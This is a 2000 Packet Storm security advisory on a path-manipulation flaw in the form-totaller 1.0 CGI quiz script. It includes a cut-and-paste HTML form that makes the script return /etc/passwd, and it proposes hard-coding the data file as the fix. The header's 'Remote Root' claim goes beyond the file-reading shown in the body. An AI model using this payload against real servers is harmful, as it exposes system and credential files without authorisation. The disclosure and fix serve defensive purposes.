form-totaller.txt

2000-08-14T00:00:00
ID PACKETSTORM:22819
Type packetstorm
Reporter Signal 9
Modified 2000-08-14T00:00:00

Description

                                        
                                            `Content-Type: Remote Root via vulnerible CGI software  
Date : 13/08/2000  
Sender : s1gnal_9 <s1gnal-9@vs-solutions.com>  
Subject : form-totaller Vulnerible CGI  
X-System : UNIX/NT systems running the form-totaller CGI software  
X-Status : s1gnal_9-ADVISORY-form-totaller.txt  
X-Greets : Narr0w, f0bic, VetesGirl  
_________________________________________________________________________________  
  
  
PRODUCT NAME: form-totaller version 1.0  
  
PRODUCT HOMEPAGE: http://www.newbreedsoftware.com/form-totaller/  
Also Available at freecode.com   
  
DESCRIPTION :   
Use "form-totaller" to create tests and quizes on the web.   
Use forms with pull-down menus or radio buttons and this CGI will display   
output based on their input.   
  
PROBLEM:  
The command field "_response_data" is the field that specifies the display output   
based on their input.   
  
The default file for this field is set at:  
<input type="hidden" name="_response_data" value="responses.dat">  
A remote attacker could easily change the cgi script to use "/etc/passwd" as the   
response data value.   
  
  
EXAMPLE:  
Below is a example of how we could read files on the remote system.  
  
<-------------------------CUT HERE-------------------------------------->  
<form action="http://www.SOMESERVER.com/form-totaller/form-totaller.cgi" method="post">  
<input type="hidden" name="_response_top" value="top.html">  
<input type="hidden" name="_response_data" value="/etc/passwd">  
<input type="hidden" name="_response_bottom" value="bottom.html">  
<input type="hidden" name="_divide_by" value="4">  
<input type="submit" value="Click for viewing of the /etc/passwd file.">  
</form>  
<-------------------------CUT HERE-------------------------------------->  
  
  
SOLUTION  
I would recommend hard-coding the response_data file right into the script   
and leave that command field out of the cgi.  
  
  
Please visit www.zone.ee/unix :)  
  
`